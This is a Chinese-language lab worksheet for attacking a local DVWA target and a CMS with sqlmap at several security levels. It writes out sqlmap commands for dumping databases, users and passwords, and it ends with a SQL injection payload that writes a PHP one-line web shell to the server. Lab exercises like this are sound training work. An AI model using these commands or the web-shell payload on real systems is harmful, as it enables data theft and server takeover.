实验环境要求:
1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB
2、安装VMware® Workstation 14以上
总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。
任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
- 列出所有数据库,截图
- 获取数据表,截图
- 获取数据,截图
- 获取所有管理用户,截图
- 获取用户密码,截图
任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
观察可以看出为POST表单
使用Burp劫获POST信息
将信息保存成文件
使用文件进行攻击
- 列出所有数据库,截图
- 获取数据表,截图
- 获取数据,截图
- 获取所有管理用户,截图
- 获取用户密码,截图
任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)
- 测试dvwa注入点,截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
观察页面信息为POST表单
原始方法肯定不行,所以再试试刚才的方法
保持请求
试过后发现失败
查看源码后使用二阶SQL注入—second-order
- 列出所有数据库,截图
- 获取数据表,截图
- 获取数据,截图
- 获取所有管理用户,截图
- 获取用户密码,截图
拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞
- 测试cms注入点,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1
- 列出所有数据库,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs
- 获取数据表,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables
- 获取数据,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa
- 获取所有管理用户,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users
- 获取用户密码,截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords
拓展任务二、通过sql注入漏洞获取sql-shell和os-shell
- 使用sqlmap查看当前用户是否为dba,截图
- 使用sqlmap获取sql-shell,截图
- 使用sqlmap获取os-shell,截图
直接使用命令是错误的
我们需要在靶机修改一些参数来实现
重启服务
- 通过sql注入漏洞上传一句话木马,截图
1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #
执行不了说明没有权限,修改dvwa文件权限